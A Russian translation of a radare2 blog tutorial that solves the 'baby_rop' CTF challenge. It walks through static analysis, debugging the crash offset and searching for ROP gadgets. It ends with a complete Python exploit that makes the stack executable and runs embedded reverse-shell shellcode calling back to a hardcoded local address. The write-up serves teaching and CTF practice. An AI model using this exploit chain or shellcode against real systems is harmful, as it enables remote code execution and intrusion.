Многие просили пример использования radare2, но не такой детальный как этот или такой короткий как этот. В итоге было решено написать эту статью.

Данный бинарный файл является заданием “baby_rop” из небольшого CTF, что проходил во Франции, под названием - sthack

Запомните, если не знаете какая точно команда, то добавляйте символ ? для получения справки.

Готовы? Вперёд!

$ r2 baby_rop
Warning: Cannot initialize dynamic section  
 -- Experts agree, security holes suck, and we fixed some of them!
[0x08048e28]> ii
[Imports]

0 imports

Нет импортируемых функций. Статический бинарь?

[0x08048e28]> iI~static
static   true  
[0x08048e28]> is~?
1982

Отреверсить функцию main мы оставим в качестве домашнего задания для читателя. Это классический fork-сервер, говорящий “Hello!”, спрашивая размер и строку, и затем копирующий данные. Что же здесь может пойти не так?…

Таким образом, нам нужен ROP путь для проникновения в систему. И мы её успешно нашли:

[0x08048e28]> is~system
vaddr=0x080d7a50 paddr=0x0008fa50 ord=084 fwd=NONE sz=20 bind=LOCAL type=OBJECT name=system_dirs  
[0x08048e28]> is~exec
vaddr=0x080bd040 paddr=0x00075040 ord=908 fwd=NONE sz=2680 bind=LOCAL type=FUNC name=execute_stack_op  
vaddr=0x080bdf10 paddr=0x00075f10 ord=911 fwd=NONE sz=2203 bind=LOCAL type=FUNC name=execute_cfa_program  
vaddr=0x080ef1a8 paddr=0x000a71a8 ord=961 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=__have_o_cloexec  
vaddr=0x080a53d0 paddr=0x0005d3d0 ord=1092 fwd=NONE sz=90 bind=GLOBAL type=FUNC name=_dl_make_stack_executable  
vaddr=0x080eda14 paddr=0x000a5a14 ord=2141 fwd=NONE sz=4 bind=GLOBAL type=OBJECT name=_dl_make_stack_executable_hook  
[0x08048e28]> 

Здесь есть одна хитрость. Нет system и нет execve. Кажется, что мы должны сделать старую добрую ROP-цепочку, немного dup2 магии, записать строку /bin/sh куда-нибудь и вызвать её через execve.

Или мы можем проверить, что же делает функция _dl_make_stack_executable:

[0x08048e28]> pdf @ sym._dl_make_stack_executable
╒ (fcn) sym._dl_make_stack_executable 90
│          ;-- sym._dl_make_stack_executable:
│          0x080a53d0    53             push ebx
│          0x080a53d1    89c3           mov ebx, eax
│          0x080a53d3    83ec18         sub esp, 0x18
│          0x080a53d6    8b08           mov ecx, dword [eax]
│          0x080a53d8    a128da0e08     mov eax, dword [sym._dl_pagesize]  ; [0x80eda28:4]=0x1000  ; sym._dl_pagesize
│          0x080a53dd    89c2           mov edx, eax
│          0x080a53df    f7da           neg edx
│          0x080a53e1    21ca           and edx, ecx
│          0x080a53e3    3b0d64cf0e08   cmp ecx, dword [sym.__libc_stack_end]  ; [0x80ecf64:4]=0 ; sym.__libc_stack_end
│      ┌─< 0x080a53e9    752e           jne 0x80a5419           
│      │   0x080a53eb    8b0dc4cf0e08   mov ecx, dword [sym.__stack_prot]  ; [0x80ecfc4:4]=0x1000000  ; sym.__stack_prot
│      │   0x080a53f1    89442404       mov dword [esp + 4], eax    ; [0x4:4]=0x3010101 
│      │   0x080a53f5    891424         mov dword [esp], edx
│      │   0x080a53f8    894c2408       mov dword [esp + 8], ecx    ; [0x8:4]=0
│      │   0x080a53fc    e81fa9fcff     call sym.mprotect           ; sym.__waitpid+0x1b90
│      │      sym.__waitpid() ; sym.__mprotect
│      │   0x080a5401    85c0           test eax, eax
│     ┌──< 0x080a5403    751b           jne 0x80a5420         
│     ││   0x080a5405    c70300000000   mov dword [ebx], 0
│     ││   0x080a540b    31c0           xor eax, eax
│     ││   0x080a540d    830d18da0e08.  or dword [sym._dl_stack_flags], 1
│    ┌     ; JMP XREF from 0x080a541e (sym._dl_make_stack_executable)
│    ┌     ; JMP XREF from 0x080a5428 (sym._dl_make_stack_executable)
│    ┌───> 0x080a5414    83c418         add esp, 0x18
│    │││   0x080a5417    5b             pop ebx
│    │││   0x080a5418    c3             ret
│    ││└   ; JMP XREF from 0x080a53e9 (sym._dl_make_stack_executable)
│    ││└─> 0x080a5419    b801000000     mov eax, 1
│    └───< 0x080a541e    ebf4           jmp 0x80a5414       
│     └    ; JMP XREF from 0x080a5403 (sym._dl_make_stack_executable)
│     └──> 0x080a5420    b8d4ffffff     mov eax, 0xffffffd4    ; -44
│          0x080a5425    658b00         mov eax, dword gs:[eax]
╘          0x080a5428    ebea           jmp 0x80a5414               
[0x08048e28]>

Это выглядит как простая обёртка к mprotect. И нам достаточно установить __stack_prot в 7, чтобы получить приятный и выполняемый стек.

Теперь рассмотрим, что нам нужно сделать, чтобы перезаписать адрес возврата:

$ r2 -d rarun2 program=./baby_rop arg1=4444
Process with PID 3630 started...  
PID = 3630  
pid = 3630 tid = 3630  
r_debug_select: 3630 3630  
Using BADDR 0x400000  
Asuming filepath /usr/local/bin/rarun2  
bits 64  
pid = 3630 tid = 3630  
 -- Enable ascii-art jump lines in disassembly by setting 'e asm.lines=true'. asm.linesout and asm.linestyle may interest you as well
[0x7fdf3649ccd0]> e dbg.forks = true  # we want to "follow" forks
pid = 3630 tid = 3630  
[0x7fdf3649ccd0]> dc
r_debug_select: 3630 1  
[0x08048e28]> dc
[+] Socket created.

В другом окне запустим атакующий клиент:

echo "1234`ragg2 -P 100 -r`" | nc 127.0.0.1 4444 

Вернёмся в первое с radare2:

[+] Listening on 4444.
[+] New client : 127.0.0.1
[0xf770ac10]> dp
Selected: 3630 1  
 * 3630 s (current)
 - 3629 s (ppid)
 - 3633 s ./baby_rop
[0xf770ac10]> dpa 3633
pid = 3633 tid = 3633  
r_debug_select: 3633 3633  
[0xf770ac10]> dc
[+] SIGNAL 11 errno=0 addr=0x41574141 code=1 ret=0
r_debug_select: 3633 1  
[+] signal 11 aka SIGSEGV received 0
[0x41574141]> dr=
 r15 0x00000000         r14 0x00000000         r13 0x00000000
 r12 0x00000000         rbp 0x56414155         rbx 0x41415441
 r11 0x00000000         r10 0x00000000          r9 0x00000000
  r8 0x00000000         rax 0xffffffff         rcx 0xffebd890
 rdx 0x00000065         rsi 0x080ed00c         rdi 0x08049b30
orax 0xffffffffffffffff rip 0x41574141         rflags = 1PSIV  
 rsp 0xffebd920        
[0x41574141]> woO 0x41574141
64  
[0x41574141]>

В итоге наш шеллкод будет выглядеть следующим образом:

[число][забитые 64 бита][полезная нагрузка]

Полезная нагрузка же будет такая:

  1. Установить глобальную переменную __stack_prot в 7:

    • Установить регистр в 0xfffffff (без NULL байтов)
    • Увеличить 8 раз, чтобы стало равно 7
    • Переписать __stack_prot им
  2. Вызвать _dl_make_stack_executable на стек

  3. Прыгнуть на esp:

    [0x08048e28]> e rop.len = 2
    [0x08048e28]> e search.count = 2
    [0x08048e28]> "/R/ pop ebx;ret"
      0x080481c5             5b  pop ebx
      0x080481c6             c3  ret
    
      0x0804d826             5b  pop ebx
      0x0804d827             c3  ret
    
    [0x08048e28]> 
    

Без первой введённой команды, radare2 вернёт нам строку вида: pop ebx; mov eax, 3; ret;. Вторая команда - потому что мы хотим один гаджет с резервной копией в случае NULL байта в смещение.

Команды, которые мы ищем, заключаются в двойные кавычки, потому что символ ; используется для цепочек обычных r2 команд, а кавычки помогают найти только то, что нам надо.

Так как мы ленивые, мы воспользуемся регулярным выражением, чтобы найти другие гаджеты:

[0x08048e28]> "/R/ pop e[dca]x;ret"
  0x0806da92             5a  pop edx
  0x0806da93         c2fdff  ret 0xfffd

  0x08070f9c             5a  pop edx
  0x08070f9d             c3  ret

  0x08083ca3             59  pop ecx
  0x08083ca4             c3  ret

  0x080abee4             58  pop eax
  0x080abee5             cb  retf

  0x080bf3b6             58  pop eax
  0x080bf3b7             c3  ret

  0x080dcabf             5a  pop edx
  0x080dcac0             cb  retf

  0x080dd55f             58  pop eax
  0x080dd560             cb  retf

  0x080dda1a             59  pop ecx
  0x080dda1b             cf  iretd

  0x080e799e             58  pop eax
  0x080e799f             c3  ret

  0x080e8d98             58  pop eax
  0x080e8d99             c3  ret

  0x080ea630             58  pop eax
  0x080ea631         c20000  ret 0

  0x080eae30             58  pop eax
  0x080eae31             ca0000  retf 0

  0x080eb330             58  pop eax
  0x080eb331             cf  iretd

[0x08048e28]>

Поиск другого нужного гаджета оставляем на плечах читателя:

Ниже приведён готовый эксплойт:

#!/usr/bin/python

import struct  
import socket

# Reverse shell on localhost:1337
shellcode = (b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80"  
             b"\x92\xb0\x66\x68"
             b"\x7f\x01\x01\x01" # ip-аддрес
             b"\x66\x68"
             b"\x05\x39" # Порт
             b"\x43\x66\x53\x89"
             b"\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0"
             b"\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73"
             b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");

def rop(*args):  
        return struct.pack('I'*len(args), *args)


s = socket.create_connection(('localhost', 5555))

s.recv(1337)

payload = rop(1337) + 'A' * 64  # padding

# Установить __stack_prot в 7
payload += rop(  
    0x08070f9c, # pop edx; ret;
    0x080ecfc4, # __stack_prot
    0x08083ca3, # pop ecx; ret;
    0xffffffff, # -1
    )
for i in range(0, 8):  
    payload += rop(0x080de4ee) # inc ecx; ret; 8 times
payload += rop(0x080e5efa) # add dword ptr [edx], ecx

# Делаем наш стек выполняем и прыгаем на шеллкод
payload += rop(  
    0x080bf3b6,  # pop eax; ret;
    0x080ecf64,  # _libc_stack_end
    0x080a53d0,  # _dl_make_stack_executable
    0x080c4bb3   # call esp
    )

payload += shellcode

s.send(payload + '\n')  

Напоминаем, что добавив символ ?, ты сможешь узнать, что каждая команда в r2 делает. Это позволит понять и воспроизвести эксплойт с нуля.

Перевод статьи из официального блога radare2. Special for reverse4you.org